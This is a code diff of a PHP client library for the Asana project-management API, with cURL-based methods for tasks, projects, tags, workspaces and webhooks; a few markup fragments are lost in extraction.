/** - * Returns the compact representation of all webhooks your app has registered for the authenticated user in the given workspace. - * - * @param string $workspaceId The workspace to query for webhooks in. - * @param string $resource Optional: Only return webhooks for the given resource. - * @param array $opts Array of options to pass - * (@see https://asana.com/developers/documentation/getting-started/input-output-options) - * - * @return string JSON or null - */ - public function getWebhooks($workspaceId, $resource = null, array $opts = array()) - { - $opts = array_merge($opts, array( - 'workspace' => $workspaceId - )); - if (!is_null($resource)) { - $opts['resource'] = $resource; - } - $options = http_build_query($opts); - - return $this->askAsana($this->webhooksUrl . '?' . $options); - } - - /** - * Returns the full record for the given webhook. - * - * @param string $webhookId The webhook to get. - * @return string JSON or null - */ - public function getWebhook($webhookId) - { - return $this->askAsana($this->webhooksUrl . '/' . $webhookId); - } - - /** - * This method permanently removes a webhook. - * - * @param string $webhookId The webhook to delete. - * @return string JSON or null - */ - public function deleteWebhook($webhookId) - { - return $this->askAsana($this->webhooksUrl . '/' . $webhookId, null, ASANA_METHOD_DELETE); - } - - /** - * This function communicates with Asana REST API. - * You don't need to call this function directly. It's only for inner class working. - * - * @param string $url - * @param string $data Must be a json string - * @param int $method See constants defined at the beginning of the class - * @return string JSON or null - */ - private function askAsana($url, $data = null, $method = ASANA_METHOD_GET) - { - $headerData = array(); - $curl = curl_init(); - curl_setopt($curl, CURLOPT_URL, $url); - curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); // Don't print the result - curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, $this->timeout); - curl_setopt($curl, CURLOPT_TIMEOUT, $this->timeout); - curl_setopt($curl, CURLOPT_FAILONERROR, $this->failOnError); - curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, true); // Verify SSL connection - curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 2); // "" "" - - if (!empty($this->apiKey)) { - // Send with API key. - curl_setopt($curl, CURLOPT_USERPWD, $this->apiKey); - curl_setopt($curl, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); - - // Don't send as json when attaching files to tasks. - if (is_string($data) || empty($data['file'])) { - array_push($headerData, 'Content-Type: application/json'); // Send as JSON - } - } elseif (!empty($this->accessToken) || !empty($this->personalAccessToken)) { - if (!empty($this->accessToken)) { - $accessToken = $this->accessToken; - } else { - $accessToken = $this->personalAccessToken; - } - - // Send with auth token. - array_push($headerData, 'Authorization: Bearer ' . $accessToken); - - // Don't send as json when attaching files to tasks. - if (is_string($data) || empty($data['file'])) { - array_push($headerData, 'Content-Type: application/json'); - } - } - - if ($this->advDebug) { - curl_setopt($curl, CURLOPT_HEADER, true); // Display headers - curl_setopt($curl, CURLINFO_HEADER_OUT, true); // Display output headers - curl_setopt($curl, CURLOPT_VERBOSE, true); // Display communication with server - } - - if ($method == ASANA_METHOD_POST) { - curl_setopt($curl, CURLOPT_POST, true); - } elseif ($method == ASANA_METHOD_PUT) { - curl_setopt($curl, CURLOPT_CUSTOMREQUEST, 'PUT'); - } elseif ($method == ASANA_METHOD_DELETE) { - curl_setopt($curl, CURLOPT_CUSTOMREQUEST, 'DELETE'); - } - if (!is_null($data) && ($method == ASANA_METHOD_POST || $method == ASANA_METHOD_PUT)) { - curl_setopt($curl, CURLOPT_POSTFIELDS, $data); - } - - if ($this->fastAPI) { - array_push($headerData, 'Asana-Fast-Api: true'); - } - - if ($this->newRichText) { - array_push($headerData, 'Asana-Enable: new_rich_text'); - } else { - array_push($headerData, 'Asana-Disable: new_rich_text'); - } - - if (sizeof($headerData) > 0) { - curl_setopt($curl, CURLOPT_HTTPHEADER, $headerData); - } - - try { - $this->response = curl_exec($curl); - $this->responseCode = curl_getinfo($curl, CURLINFO_HTTP_CODE); - - if ($this->debug || $this->advDebug) { - $info = curl_getinfo($curl); - echo '
';
-                print_r($info);
-                echo '
'; - if ($info['http_code'] == 0) { - echo '
cURL error num: ' . curl_errno($curl); - echo '
cURL error: ' . curl_error($curl); - } - echo '
Sent info:
';
-                print_r($data);
-                echo '
'; - } - } catch (Exception $ex) { - if ($this->debug || $this->advDebug) { - echo '
cURL error num: ' . curl_errno($curl); - echo '
cURL error: ' . curl_error($curl); - } - echo 'Error on cURL'; - $this->response = null; - } - - curl_close($curl); - - return $this->response; - } - - /** - * Set the return type. - * - * @param int $type Return type defined in the constants. - * @return Asana - */ - public function setReturnType($type) - { - $this->returnType = $type; - - return $this; - } - - /** - * Checks for errors in the response. - * - * @return boolean - */ - public function hasError() - { - return !in_array($this->responseCode, array(200, 201)) || is_null($this->response); - } - - /** - * Decodes the response and returns as an object, array. - * - * @return object, array, or null - */ - public function getErrors() - { - $array = $this->returnType == ASANA_RETURN_TYPE_ARRAY; - $return = json_decode($this->response, $array, 512, JSON_BIGINT_AS_STRING); - - if ($array && isset($return['errors'])) { - return $return['errors']; - } elseif ($this->returnType == ASANA_RETURN_TYPE_OBJECT && isset($return->errors)){ - return $return->errors; - } elseif ($this->returnType == ASANA_RETURN_TYPE_JSON){ - return $this->response; - } - } - - /** - * Decodes the response and returns as an object, array. - * - * @return object, array, string or null - */ - public function getData() - { - if (!$this->hasError()) { - $array = $this->returnType == ASANA_RETURN_TYPE_ARRAY; - $return = json_decode($this->response, $array, 512, JSON_BIGINT_AS_STRING); - - if ($array && isset($return['data'])) { - return $return['data']; - } elseif ($this->returnType == ASANA_RETURN_TYPE_OBJECT && isset($return->data)){ - return $return->data; - } elseif ($this->returnType == ASANA_RETURN_TYPE_JSON){ - return $this->response; - } - } - - return null; - } - - public function getAsana($query){ - $url = 'https://app.asana.com/api/1.0/'.$query; - $data = $this->askAsana($url); - return json_decode($data); - } -} += 400) and you can retrieve the errors with getErrors() method + public $debug = false; + public $advDebug = false; // Note that enabling advanced debug will include debugging information in the response possibly breaking up your code + private $asanaApiVersion = '1.0'; + + private $response; + public $responseCode; + private $returnType = ASANA_RETURN_TYPE_OBJECT; + + private $endPointUrl; + private $apiKey; + private $personalAccessToken; + private $accessToken; + private $tasksUrl; + private $usersUrl; + private $projectsUrl; + private $workspacesUrl; + private $teamsUrl; + private $storiesUrl; + private $tagsUrl; + private $organizationsUrl; + private $attachmentsUrl; + private $customFieldsUrl; + private $webhooksUrl; + private $sectionsUrl; + + /** + * Class constructor. + * + * @param array $options Array of options containing an apiKey OR a personalAccessToken OR an accessToken. Just one of them. + * Can be also an string if you want to use an apiKey. + */ + public function __construct($options) + { + // For retro-compatibility purposes check if $options is a string, + // so if a user passes a string we use it as the app key. + if (is_string($options)) { + $this->apiKey = $options; + } elseif (is_array($options) && !empty($options['apiKey'])) { + trigger_error('API Key has been deprecated by Asana. Please use OAuth or Personal Access Tokens instead', E_USER_DEPRECATED); + $this->apiKey = $options['apiKey']; + } elseif (is_array($options) && !empty($options['personalAccessToken'])) { + $this->personalAccessToken = $options['personalAccessToken']; + } elseif (is_array($options) && !empty($options['accessToken'])) { + $this->accessToken = $options['accessToken']; + } else { + throw new \Exception('You need to specify an API key or token'); + } + + // If the API key is not ended by ":", we append it. + if (!empty($this->apiKey) && substr($this->apiKey, -1) !== ':') { + $this->apiKey .= ':'; + } + + if (is_array($options) && !empty($options['returnType'])) { + $this->setReturnType($options['returnType']); + } + + $this->endPointUrl = 'https://app.asana.com/api/' . $this->asanaApiVersion . '/'; + $this->tasksUrl = $this->endPointUrl . 'tasks'; + $this->usersUrl = $this->endPointUrl . 'users'; + $this->projectsUrl = $this->endPointUrl . 'projects'; + $this->workspacesUrl = $this->endPointUrl . 'workspaces'; + $this->teamsUrl = $this->endPointUrl . 'teams'; + $this->storiesUrl = $this->endPointUrl . 'stories'; + $this->tagsUrl = $this->endPointUrl . 'tags'; + $this->organizationsUrl = $this->endPointUrl . 'organizations'; + $this->attachmentsUrl = $this->endPointUrl . 'attachments'; + $this->customFieldsUrl = $this->endPointUrl . 'custom_fields'; + $this->webhooksUrl = $this->endPointUrl . 'webhooks'; + $this->sectionsUrl = $this->endPointUrl . 'sections'; + } + + + /** + * ********************************** + * User functions + * ********************************** + */ + + /** + * Returns the full user record for a single user. + * Call it without parameters to get the users info of the owner of the API key. + * + * @param string $userId + * @param array $opts Array of options to pass + * (@see https://asana.com/developers/documentation/getting-started/input-output-options) + * @return string JSON or null + */ + public function getUserInfo($userId = null, array $opts = array()) + { + $options = http_build_query($opts); + + if (is_null($userId)) { + $userId = 'me'; + } + + return $this->askAsana($this->usersUrl . '/' . $userId . '?' . $options); + } + + /** + * Returns the user records for all users in all workspaces you have access. + * + * @param array $opts Array of options to pass to the API + * (@see https://asana.com/developers/api-reference/users) + * + * Example: Returning additional fields with 'opt_fields' + * getUsers(['opt_fields' => 'name,email,photo,workspaces']) + * + * @return string JSON or null + */ + public function getUsers(array $opts = array()) + { + return $this->askAsana($this->usersUrl . '?' . http_build_query($opts)); + } + + /** + * Returns the user records for all users in a single workspace you have access. + * + * @param string $workspaceId + * + * @param array $opts Array of options to pass to the API + * (@see https://asana.com/developers/api-reference/users) + * + * Example: Returning additional fields with 'opt_fields' + * getUsersInWorkspace(0, ['opt_fields' => 'name,email,photo,workspaces']) + * + * @return string JSON or null + */ + public function getUsersInWorkspace($workspaceId, array $opts = array()) + { + return $this->askAsana($this->workspacesUrl . '/' . $workspaceId . '/users/?' . http_build_query($opts)); + } + + + /** + * ********************************** + * Task functions + * ********************************** + */ + + /** + * Creates a task. + * For assign or remove the task to a project, use the addProjectToTask and removeProjectToTask. + * + * @param array $data Array of data for the task following the Asana API documentation. + * Example: + * + * array( + * "workspace" => "1768", + * "name" => "Hello World!", + * "notes" => "This is a task for testing the Asana API :)", + * "assignee" => "176822166183", + * "followers" => array( + * "37136", + * "59083" + * ) + * ) + * @param array $opts Array of options to pass + * (@see https://asana.com/developers/documentation/getting-started/input-output-options) + * + * @return string JSON or null + */ + public function createTask($data, array $opts = array()) + { + $data = array('data' => $data); + $data = json_encode($data); + $options = http_build_query($opts); + + return $this->askAsana($this->tasksUrl . '?' . $options, $data, ASANA_METHOD_POST); + } + + /** + * Returns task information + * + * @param string $taskId + * @param array $opts Array of options to pass + * (@see https://asana.com/developers/documentation/getting-started/input-output-options) + * @return string JSON or null + */ + public function getTask($taskId, array $opts = array()) + { + $options = http_build_query($opts); + + return $this->askAsana($this->tasksUrl . '/' . $taskId . '?' . $options); + } + + /** + * Creates a subtask in the parent task ID + * + * @param string $parentId The id of the parent task. + * @param array $data Array of data for the task following the Asana API documentation. + * Example: + * + * array( + * "name" => "Hello World!", + * "notes" => "This is a task for testing the Asana API :)", + * "assignee" => "176822166183", + * "followers" => array( + * "37136", + * "59083" + * ) + * ) + * + * @param array $opts Array of options to pass + * (@see https://asana.com/developers/documentation/getting-started/input-output-options) + * @return string JSON or null + */ + public function createSubTask($parentId, $data, array $opts = array()) + { + $data = array('data' => $data); + $data = json_encode($data); + $options = http_build_query($opts); + + return $this->askAsana($this->tasksUrl . '/' . $parentId . '/subtasks?' . $options, $data, ASANA_METHOD_POST); + } + + /** + * Returns sub-task information + * + * @param string $taskId + * @param array $opts Array of options to pass + * (@see https://asana.com/developers/documentation/getting-started/input-output-options) + * @return string JSON or null + */ + public function getSubTasks($taskId, array $opts = array()) + { + $options = http_build_query($opts); + + return $this->askAsana($this->tasksUrl . '/' . $taskId . '/subtasks?' . $options); + } + + /** + * Updated the parent from a task. + * + * @param string $taskId The task to update + * @param string $parentId The id of the new parent task. + * @param array $opts Array of options to pass + * (@see https://asana.com/developers/documentation/getting-started/input-output-options) + * @return string JSON or null + */ + public function updateTaskParent($taskId, $parentId, array $opts = array()) + { + $data = array('data' => array( + 'parent' => $parentId + )); + $data = json_encode($data); + $options = http_build_query($opts); + + return $this->askAsana($this->tasksUrl . '/' . $taskId . '/setParent?' . $options, $data, ASANA_METHOD_POST); + } + + /** + * Updates a task + * + * @param string $taskId + * @param array $data See, createTask function comments for proper parameter info. + * @return string JSON or null + */ + public function updateTask($taskId, $data) + { + $data = array('data' => $data); + $data = json_encode($data); + + return $this->askAsana($this->tasksUrl . '/' . $taskId, $data, ASANA_METHOD_PUT); + } + + /** + * Deletes a task. + * + * @param string $taskId + * @return string Empty if success + */ + public function deleteTask($taskId) + { + return $this->askAsana($this->tasksUrl . '/' . $taskId, null, ASANA_METHOD_DELETE); + } + + /** + * Moves a task within a project relative to another task. This should let you take a task and move it below or + * above another task as long as they are within the same project. + * + * @param string $projectId the project $taskReference is in and optionally $taskToMove is already in ($taskToMove will be + * added to the project if it's not already there) + * @param string $taskToMove the task that will be moved (and possibly added to $projectId + * @param string $taskReference the task that indicates a position for $taskToMove + * @param bool $insertAfter true to insert after $taskReference, false to insert before + * @return string JSON or null + */ + public function moveTaskWithinProject($projectId, $taskToMove, $taskReference, $insertAfter = true) + { + $data = array('data' => array('project' => $projectId)); + if ($insertAfter) { + $data['data']['insert_after'] = $taskReference; + } else { + $data['data']['insert_before'] = $taskReference; + } + $data = json_encode($data); + + return $this->askAsana($this->tasksUrl . '/' . $taskToMove . '/addProject', $data, ASANA_METHOD_POST); + } + + /** + * Returns the projects associated to the task. + * + * @param string $taskId + * @param array $opts Array of options to pass + * (@see https://asana.com/developers/documentation/getting-started/input-output-options) + * @return string JSON or null + */ + public function getProjectsForTask($taskId, array $opts = array()) + { + $options = http_build_query($opts); + + return $this->askAsana($this->tasksUrl . '/' . $taskId . '/projects?' . $options); + } + + /** + * Adds a project to task. If successful, will return success and an empty data block. + * + * @param string $taskId + * @param string $projectId + * @param array $opts Array of options to pass (insert_after, insert_before, section) + * (@see https://asana.com/developers/api-reference/tasks#projects) + * @return string JSON or null + */ + public function addProjectToTask($taskId, $projectId, array $opts = array()) + { + $data = array('data' => array_merge($opts, array('project' => $projectId))); + $data = json_encode($data); + + return $this->askAsana($this->tasksUrl . '/' . $taskId . '/addProject', $data, ASANA_METHOD_POST); + } + + /** + * Removes project from task. If successful, will return success and an empty data block. + * + * @param string $taskId + * @param string $projectId + * @return string JSON or null + */ + public function removeProjectFromTask($taskId, $projectId) + { + $data = array('data' => array('project' => $projectId)); + $data = json_encode($data); + + return $this->askAsana($this->tasksUrl . '/' . $taskId . '/removeProject', $data, ASANA_METHOD_POST); + } + + /** + * Deprecated function, please use removeProjectFromTask + */ + public function removeProjectToTask($taskId, $projectId) { + trigger_error('Function is deprecated, please use removeProjectFromTask', E_USER_NOTICE); + + return $this->removeProjectFromTask($taskId, $projectId); + } + + /** + * Returns task by a given filter. + * For now (limited by Asana API), you may limit your query either to a specific project or to an assignee and workspace + * + * NOTE: As Asana API says, if you filter by assignee, you MUST specify a workspaceId and viceversa. + * + * @param array $filter The filter with optional values. + * + * array( + * 'assignee' => '', + * 'project' => 0, + * 'workspace' => 0 + * ) + * @param array $opts Array of options to pass + * (@see https://asana.com/developers/documentation/getting-started/input-output-options) + * + * @return string JSON or null + */ + public function getTasksByFilter($filter = array('assignee' => '', 'project' => '', 'workspace' => ''), array $opts = array()) + { + $url = ''; + $filter = array_merge(array('assignee' => '', 'project' => '', 'workspace' => ''), $filter); + + $url .= $filter['assignee'] !== '' ? '&assignee=' . $filter['assignee'] : ''; + $url .= $filter['project'] !== '' ? '&project=' . $filter['project'] : ''; + $url .= $filter['workspace'] !== '' ? '&workspace=' . $filter['workspace'] : ''; + + $optional_filters = array( + 'completed', + 'completed_at', + 'completed_since', + 'modified_since', + 'tag', + 'section' + ); + + foreach ($optional_filters as $optfilter) { + $url .= isset($filter[$optfilter]) ? '&' . $optfilter . '=' . $filter[$optfilter] : ''; + } + + if (count($opts) > 0) { + $url .= '&' . http_build_query($opts); + } + if (strlen($url) > 0) { + $url = '?' . substr($url, 1); + } + + return $this->askAsana($this->tasksUrl . $url); + } + + /** + * Returns the list of stories associated with the object. + * As usual with queries, stories are returned in compact form. + * However, the compact form for stories contains more information by default than just the ID. + * There is presently no way to get a filtered set of stories. + * + * @param string $taskId + * @param array $opts Array of options to pass + * (@see https://asana.com/developers/documentation/getting-started/input-output-options) + * @return string JSON or null + */ + public function getTaskStories($taskId, array $opts = array()) + { + $options = http_build_query($opts); + + return $this->askAsana($this->tasksUrl . '/' . $taskId . '/stories?' . $options); + } + + /** + * Returns a compact list of tags associated with the object. + * + * @param string $taskId + * @param array $opts Array of options to pass + * (@see https://asana.com/developers/documentation/getting-started/input-output-options) + * @return string JSON or null + */ + public function getTaskTags($taskId, array $opts = array()) + { + $options = http_build_query($opts); + + return $this->askAsana($this->tasksUrl . '/' . $taskId . '/tags?' . $options); + } + + /** + * Adds a comment to a task. + * The comment will be authored by the authorized user, and timestamped when the server receives the request. + * + * @param string $taskId + * @param string $text + * @return string JSON or null + */ + public function commentOnTask($taskId, $text = '') + { + $data = array( + 'data' => array( + 'text' => $text + ) + ); + $data = json_encode($data); + + return $this->askAsana($this->tasksUrl . '/' . $taskId . '/stories', $data, ASANA_METHOD_POST); + } + + /** + * Adds a tag to a task. If successful, will return success and an empty data block. + * + * @param string $taskId + * @param string $tagId + * @return string JSON or null + */ + public function addTagToTask($taskId, $tagId) + { + $data = array('data' => array('tag' => $tagId)); + $data = json_encode($data); + + return $this->askAsana($this->tasksUrl . '/' . $taskId . '/addTag', $data, ASANA_METHOD_POST); + } + + /** + * Removes a tag from a task. If successful, will return success and an empty data block. + * + * @param string $taskId + * @param string $tagId + * @return string JSON or null + */ + public function removeTagFromTask($taskId, $tagId) + { + $data = array('data' => array('tag' => $tagId)); + $data = json_encode($data); + + return $this->askAsana($this->tasksUrl . '/' . $taskId . '/removeTag', $data, ASANA_METHOD_POST); + } + + /** + * Returns single attachment information + * + * @param string $attachmentId + * @param array $opts Array of options to pass + * (@see https://asana.com/developers/documentation/getting-started/input-output-options) + * @return string JSON or null + */ + public function getAttachment($attachmentId, array $opts = array()) + { + $options = http_build_query($opts); + + return $this->askAsana($this->attachmentsUrl . '/' . $attachmentId . '?' . $options); + } + + /** + * Add attachment to a task + * + * @param string $taskId + * @param array $data (src of file, mimetype, finalFilename) See, Uploading an attachment to a task function comments for proper parameter info. + * @return string JSON or null + */ + public function addAttachmentToTask($taskId, array $data = array()) + { + $mimeType = array_key_exists('mimeType', $data) ? $data['mimeType'] : null; + $finalFilename = array_key_exists('finalFilename', $data) ? $data["finalFilename"] : null; + + if (class_exists('CURLFile', false)) { + $data['file'] = new CURLFile($data['file'], $data['mimeType'], $data['finalFilename']); + } else { + $data['file'] = "@{$data['file']}"; + + if (!is_null($finalFilename)) { + $data['file'] .= ';filename=' . $finalFilename; + } + if (!is_null($mimeType)) { + $data['file'] .= ';type=' . $mimeType; + } + } + + return $this->askAsana($this->tasksUrl . '/' . $taskId . '/attachments', $data, ASANA_METHOD_POST); + } + + /** + * Returns task attachments information + * + * @param string $taskId + * @param array $opts Array of options to pass + * (@see https://asana.com/developers/documentation/getting-started/input-output-options) + * @return string JSON or null + */ + public function getTaskAttachments($taskId, array $opts = array()) + { + $options = http_build_query($opts); + + return $this->askAsana($this->tasksUrl . '/' . $taskId . '/attachments?' . $options); + } + + /** + * Adds followers to a task + * + * @param string $taskId + * @param array $followerIds Array of follower ids + * @return string JSON or null + */ + public function addFollowersToTask($taskId, array $followerIds) + { + $data = array('data' => array('followers' => $followerIds)); + $data = json_encode($data); + + return $this->askAsana($this->tasksUrl . '/' . $taskId . '/addFollowers', $data, ASANA_METHOD_POST); + } + + /** + * Removes followers from a task + * + * @param string $taskId + * @param array $followerIds Array of follower ids + * @return string JSON or null + */ + public function removeFollowersFromTask($taskId, array $followerIds) + { + $data = array('data' => array('followers' => $followerIds)); + $data = json_encode($data); + + return $this->askAsana($this->tasksUrl . '/' . $taskId . '/removeFollowers', $data, ASANA_METHOD_POST); + } + + /** + * ********************************** + * Projects functions + * ********************************** + */ + + /** + * Function to create a project. + * + * @param array $data Array of data for the project following the Asana API documentation. + * Example: + * + * array( + * "workspace" => "1768", + * "name" => "Foo Project!", + * "notes" => "This is a test project" + * ) + * + * @return string JSON or null + */ + public function createProject($data) + { + $data = array('data' => $data); + $data = json_encode($data); + + return $this->askAsana($this->projectsUrl, $data, ASANA_METHOD_POST); + } + + /** + * Returns the full record for a single project. + * + * @param string $projectId + * @param array $opts Array of options to pass + * (@see https://asana.com/developers/documentation/getting-started/input-output-options) + * @return string JSON or null + */ + public function getProject($projectId, array $opts = array()) + { + $options = http_build_query($opts); + + return $this->askAsana($this->projectsUrl . '/' . $projectId . '?' . $options); + } + + /** + * Returns the projects in all workspaces containing archived ones or not. + * + * @param boolean $archived Return archived projects or not + * @param array $opts Array of options to pass + * (@see https://asana.com/developers/documentation/getting-started/input-output-options) + */ + public function getProjects($archived = false, $opts = array()) + { + $archived = $archived ? 'true' : 'false'; + // Check if it's string for past compatibility (until version 4.3.0 it was a string instead of array) + if (is_string($opts)) { + $options = $opts !== '' ? 'opt_fields=' . $opts : ''; + } else { + $options = http_build_query($opts); + } + + return $this->askAsana($this->projectsUrl . '?archived=' . $archived . '&' . $options); + } + + /** + * Returns the projects in provided workspace containing archived ones or not. + * + * @param string $workspaceId + * @param boolean $archived Return archived projects or not + * @param array $opts Array of options to pass + * (@see https://asana.com/developers/documentation/getting-started/input-output-options) + * @return string JSON or null + */ + public function getProjectsInWorkspace($workspaceId, $archived = false, array $opts = array()) + { + $archived = $archived ? 'true' : 'false'; + $options = http_build_query($opts); + + return $this->askAsana($this->projectsUrl . '?archived=' . $archived . '&workspace=' . $workspaceId . '&' . $options); + } + + /** + * Returns the projects in provided workspace containing archived ones or not. + * + * @param string $teamId + * @param boolean $archived Return archived projects or not + * @param array $opts Array of options to pass + * (@see https://asana.com/developers/documentation/getting-started/input-output-options) + * @return string JSON or null + */ + public function getProjectsInTeam($teamId, $archived = false, array $opts = array()) + { + $archived = $archived ? 'true' : 'false'; + $options = http_build_query($opts); + + return $this->askAsana($this->teamsUrl . '/' . $teamId . '/projects?archived=' . $archived . '&' . $options); + } + + /** + * This method modifies the fields of a project provided in the request, then returns the full updated record. + * + * @param string $projectId + * @param array $data An array containing fields to update, see Asana API if needed. + * Example: array('name' => 'Test', 'notes' => 'It\'s a test project'); + * + * @return string JSON or null + */ + public function updateProject($projectId, $data) + { + $data = array('data' => $data); + $data = json_encode($data); + + return $this->askAsana($this->projectsUrl . '/' . $projectId, $data, ASANA_METHOD_PUT); + } + + /** + * Deletes a project. + * + * @param string $projectId + * @return string Empty if success + */ + public function deleteProject($projectId) + { + return $this->askAsana($this->projectsUrl . '/' . $projectId, null, ASANA_METHOD_DELETE); + } + + /** + * Returns all unarchived tasks of a given project + * + * @param string $projectId + * @param array $opts Array of options to pass + * (@see https://asana.com/developers/documentation/getting-started/input-output-options) + * + * @return string JSON or null + */ + public function getProjectTasks($projectId, array $opts = array()) + { + $options = http_build_query($opts); + + return $this->askAsana($this->tasksUrl . '?project=' . $projectId . '&' . $options); + } + + /** + * Returns the list of stories associated with the project. + * As usual with queries, stories are returned in compact form. + * However, the compact form for stories contains more + * information by default than just the ID. + * There is presently no way to get a filtered set of stories. + * + * @param string $projectId + * @param array $opts Array of options to pass + * (@see https://asana.com/developers/documentation/getting-started/input-output-options) + * @return string JSON or null + */ + public function getProjectStories($projectId, array $opts = array()) + { + $options = http_build_query($opts); + + return $this->askAsana($this->projectsUrl . '/' . $projectId . '/stories?' . $options); + } + + /** + * Returns the list of sections associated with the project. + * Sections are tasks whose names end with a colon character : . + * For instance sections will be included in query results for tasks and + * be represented with the same fields. + * The memberships property of a task contains the project/section + * pairs a task belongs to when applicable. + * + * @param string $projectId + * @param array $opts Array of options to pass + * (@see https://asana.com/developers/documentation/getting-started/input-output-options) + * @return string JSON or null + */ + public function getProjectSections($projectId, array $opts = array()) + { + $options = http_build_query($opts); + + return $this->askAsana($this->projectsUrl . '/' . $projectId . '/sections?' . $options); + } + + /** + * Returns the list of all custom fields associated with the project. + * + * @param string $projectId + * @param array $opts Array of options to pass + * (@see https://asana.com/developers/documentation/getting-started/input-output-options) + * @return string JSON or null + */ + public function getProjectCustomFields($projectId, array $opts = array()) + { + $options = http_build_query($opts); + + return $this->askAsana($this->projectsUrl . '/' . $projectId . '/custom_field_settings?' . $options); + } + + /** + * Adds a comment to a project + * The comment will be authored by the authorized user, and timestamped when the server receives the request. + * + * @param string $projectId + * @param string $text + * @return string JSON or null + */ + public function commentOnProject($projectId, $text = '') + { + $data = array( + 'data' => array( + 'text' => $text + ) + ); + $data = json_encode($data); + + return $this->askAsana($this->projectsUrl . '/' . $projectId . '/stories', $data, ASANA_METHOD_POST); + } + + + /** + * ********************************** + * Tags functions + * ********************************** + */ + + /** + * Returns the full record for a single tag. + * + * @param string $tagId + * @param array $opts Array of options to pass + * (@see https://asana.com/developers/documentation/getting-started/input-output-options) + * @return string JSON or null + */ + public function getTag($tagId, array $opts = array()) + { + $options = http_build_query($opts); + + return $this->askAsana($this->tagsUrl . '/' . $tagId . '?' . $options); + } + + /** + * Returns the full record for all tags in all workspaces. + * + * @return string JSON or null + */ + public function getTags() + { + return $this->askAsana($this->tagsUrl); + } + + /** + * Modifies the fields of a tag provided in the request, then returns the full updated record. + * + * @param string $tagId + * @param array $data An array containing fields to update, see Asana API if needed. + * Example: array("name" => "Test", "notes" => "It's a test tag"); + * + * @return string JSON or null + */ + public function updateTag($tagId, $data) + { + $data = array('data' => $data); + $data = json_encode($data); + + return $this->askAsana($this->tagsUrl . '/' . $tagId, $data, ASANA_METHOD_PUT); + } + + /** + * This method creates a new tag and returns its full record. + * + * @param string $name Tag name + * @param array $data An array containing either workspace or organization and the id. + * Example: array("workspace" => "3242349871"); + * @param array $opts Array of options to pass + * (@see https://asana.com/developers/documentation/getting-started/input-output-options) + * + * @return string JSON or null + */ + public function createTag($name, $data, array $opts = array()) + { + $data = array('data' => $data); + $data['data']['name'] = $name; + $data = json_encode($data); + $options = http_build_query($opts); + + return $this->askAsana($this->tagsUrl . '?' . $options, $data, ASANA_METHOD_POST); + } + + /** + * Returns the list of all tasks with this tag. Tasks can have more than one tag at a time. + * + * @param string $tagId + * @param array $opts Array of options to pass + * (@see https://asana.com/developers/documentation/getting-started/input-output-options) + * @return string JSON or null + */ + public function getTasksWithTag($tagId, array $opts = array()) + { + $options = http_build_query($opts); + + return $this->askAsana($this->tagsUrl . '/' . $tagId . '/tasks?' . $options); + } + + + /** + * ********************************** + * Stories and comments functions + * ********************************** + */ + + /** + * Returns the full record for a single story. + * + * @param string $storyId + * @param array $opts Array of options to pass + * (@see https://asana.com/developers/documentation/getting-started/input-output-options) + * @return string JSON or null + */ + public function getSingleStory($storyId, array $opts = array()) + { + $options = http_build_query($opts); + + return $this->askAsana($this->storiesUrl . '/' . $storyId . '?' . $options); + } + + + /** + * ********************************** + * Organizations functions + * ********************************** + */ + + /** + * Returns all teams in an Organization. + * + * @param string $organizationId + * @return string JSON or null + */ + public function getTeamsInOrganization($organizationId) + { + return $this->askAsana($this->organizationsUrl . '/' . $organizationId . '/teams'); + } + + /** + * Returns all teams the logged in user is associated with + * + * @param string $organizationId + * @return string JSON or null + */ + public function getMyTeams($organizationId) + { + return $this->askAsana($this->usersUrl . '/me/teams?organization=' . $organizationId); + } + + /** + * Function to create a team in an Organization. + * + * @param string $organizationId + * @param array $data Array of data for the task following the Asana API documentation. + * Example: array("name" => "Team Name") + * + * @return string JSON or null + */ + public function createTeam($organizationId, $data) + { + $data = array('data' => $data); + $data = json_encode($data); + + return $this->askAsana($this->organizationsUrl . '/' . $organizationId . '/teams', $data, ASANA_METHOD_POST); + } + + + /** + * ********************************** + * Workspaces functions + * ********************************** + */ + + /** + * Returns all the workspaces. + * + * @param array $opts Array of options to pass + * (@see https://asana.com/developers/documentation/getting-started/input-output-options) + * + * @return string JSON or null + */ + public function getWorkspaces(array $opts = array()) + { + $options = http_build_query($opts); + + return $this->askAsana($this->workspacesUrl . '?' . $options); + } + + /** + * Currently the only field that can be modified for a workspace is its name (as Asana API says). + * This method returns the complete updated workspace record. + * + * @param array $data + * Example: array("name" => "Test"); + * + * @return string JSON or null + */ + public function updateWorkspace($workspaceId, $data = array('name' => '')) + { + $data = array('data' => $data); + $data = json_encode($data); + + return $this->askAsana($this->workspacesUrl . '/' . $workspaceId, $data, ASANA_METHOD_PUT); + } + + /** + * Returns tasks of all workspace assigned to someone. + * Note: As Asana API says, you must specify an assignee when querying for workspace tasks. + * + * @param string $workspaceId The id of the workspace + * @param string $assignee Can be "me" or user ID + * @param array $opts Array of options to pass + * (@see https://asana.com/developers/documentation/getting-started/input-output-options) + * + * @return string JSON or null + */ + public function getWorkspaceTasks($workspaceId, $assignee = 'me', array $opts = array()) + { + $options = http_build_query($opts); + + return $this->askAsana($this->tasksUrl . '?workspace=' . $workspaceId . '&assignee=' . $assignee . '&' . $options); + } + + /** + * Returns tags of all workspace. + * + * @param string $workspaceId The id of the workspace + * @return string JSON or null + */ + public function getWorkspaceTags($workspaceId) + { + return $this->askAsana($this->workspacesUrl . '/' . $workspaceId . '/tags'); + } + + /** + * Returns all users of a workspace. + * + * @param string $workspaceId The id of the workspace + * @return string JSON or null + */ + public function getWorkspaceUsers($workspaceId) + { + return $this->askAsana($this->workspacesUrl . '/' . $workspaceId . '/users'); + } + + /** + * Returns all custom fields in a workspace. + * NOTE: Custom fields are only available for Asana premium accounts. + * + * @param string $workspaceId The id of the workspace + * @return string JSON or null + */ + public function getWorkspaceCustomFields($workspaceId) + { + return $this->askAsana($this->workspacesUrl . '/' . $workspaceId . '/custom_fields'); + } + + /** + * Returns search for objects from a single workspace. + * + * @param string $workspaceId The id of the workspace + * @param string $type The type of object to look up. You can choose from one of the following: project, user, task, and tag. + * Note that unlike other endpoints, the types listed here are in singular form. + * Using multiple types is not yet supported. + * @param string $query The value to look up + * @param string $count The number of results to return with a minimum of 1 and a maximum of 100. + * The default is 1 if this parameter is omitted. + * If there are fewer results found than requested, all will be returned + * @param array $opts Array of options to pass + * (@see 